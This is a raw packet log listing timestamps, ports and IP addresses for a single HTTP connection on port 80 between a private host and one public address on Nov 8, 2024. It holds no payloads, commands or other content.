Nov 8, 2024 15:21:23.218192101 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.258220911 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.258238077 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.258259058 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.258272886 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.258285999 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.258299112 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.258315086 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.258343935 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.258392096 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.258440971 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.331087112 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.331115961 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.331130028 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.331141949 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.331161976 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.331192017 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.331199884 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.331248045 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.331252098 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.331264019 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.331299067 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.331324100 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.331373930 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.331470013 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.331577063 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.331998110 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.332046986 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.332050085 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.332058907 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.332088947 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.332104921 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.332853079 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.332911015 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.332912922 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.332926989 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.332967997 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.333045006 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.333056927 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.333069086 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.333089113 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.333110094 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.333172083 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.333184004 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.333194971 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.333206892 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.333214998 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.333240032 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.333255053 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.333365917 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.333388090 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.333429098 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.333437920 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.333448887 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.333458900 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.333479881 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.333508015 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.335051060 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.335093021 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.335105896 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.335107088 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.335136890 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.335154057 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.335194111 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.335235119 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.335241079 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.335247040 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.335287094 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.335318089 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.335344076 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.335357904 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.335359097 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.335390091 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.335417986 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.371562004 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.371611118 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.371618032 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.371624947 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.371649027 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.371673107 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.371731043 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.371743917 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.371757984 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.371772051 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.371782064 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.371829987 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.371989965 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.372003078 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.372014999 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.372025967 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.372040033 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.372068882 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.372148037 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.372160912 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.372174025 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.372189999 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.372229099 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.372386932 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.372399092 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.372432947 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.372457981 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.415585041 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.415658951 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.416069984 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.416084051 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.416127920 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.416209936 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.416224003 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.416235924 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.416249037 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.416268110 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.416290998 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.485471964 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.485495090 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.485508919 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.485562086 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.485586882 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.485613108 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.485626936 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.485639095 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.485646963 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.485665083 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.485680103 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.485759020 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.485769987 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.485805035 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.485966921 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.486013889 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.486586094 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.486624002 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.486630917 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.486634970 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.486660004 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.486675024 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.487061024 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.487107038 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.487155914 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.487166882 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.487179041 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.487224102 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.487260103 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.487271070 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.487301111 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.487310886 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.487335920 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.487355947 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.487368107 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.487390041 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.487422943 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.487452984 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.487494946 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.487534046 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.487535954 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.487546921 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.487569094 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.487593889 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.487608910 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.487660885 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.487682104 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.487694025 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.487723112 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.487731934 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.487735033 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.487751007 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.487760067 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.487786055 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.489453077 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.489480972 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.489491940 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.489527941 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.489557028 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.489572048 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.489584923 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.489617109 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.489641905 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.489654064 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.489696026 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.489742994 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.489783049 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.525996923 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.526022911 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.526035070 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.526048899 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.526083946 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.526153088 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.526164055 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.526175976 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.526185036 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.526191950 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.526230097 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.526259899 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.526371002 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.526374102 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.526382923 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.526395082 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.526403904 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.526407957 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.526424885 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.526452065 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.526560068 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.526623011 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.526633978 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.526643991 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.526647091 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.526660919 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.526685953 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.567189932 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.567245007 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.567255020 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.567279100 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.567306042 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.567353010 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.567389011 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.567430973 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.567441940 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.567468882 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.567471027 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.567504883 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.641549110 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.641581059 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.641594887 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.641608000 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.641634941 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.641634941 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.641745090 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.641757965 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.641768932 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.641779900 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.641791105 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.641808033 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.641844988 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.642002106 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.642014027 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.642047882 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.642091036 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.642102957 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.642127037 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.642159939 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.642201900 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.642549038 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.642612934 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.642622948 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.642646074 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.642663002 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.642709970 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.642720938 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.642752886 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.642808914 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.642819881 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.642852068 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.642930031 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.642941952 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.642971039 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.643052101 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.643065929 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.643088102 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.643110037 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.643132925 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.643143892 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.643174887 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.644932032 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.644979000 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.644989014 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.645009995 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.645024061 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.645095110 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.645116091 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.645124912 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.645163059 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.645173073 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.645203114 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.646225929 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.646275997 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.646284103 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.646300077 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.646302938 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.646311045 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.646326065 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.646346092 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.646538973 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.646572113 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.680617094 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.680655956 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.680666924 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.680704117 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.680738926 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.680808067 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.680819988 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.680830956 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.680843115 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.680843115 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.680855989 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.680864096 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.680891991 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.681009054 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.681020021 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.681030989 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.681051970 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.681066990 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.681189060 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.681199074 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.681210041 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.681240082 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.681262970 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.681273937 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.681283951 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.681293964 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.681318045 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.681343079 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.721525908 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.721570015 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.721628904 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.721749067 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.721787930 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.721833944 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.721844912 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.721862078 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.721874952 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.721878052 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.721885920 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.721901894 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.721925020 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.762249947 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.762275934 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.762285948 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.762307882 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.762331009 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.797554970 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.797626019 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.797629118 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.797636986 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.797660112 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.797683001 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.797797918 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.797810078 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.797822952 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.797832012 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.797852993 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.797871113 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.797964096 CET	80	49753	185.215.113.206	192.168.2.8
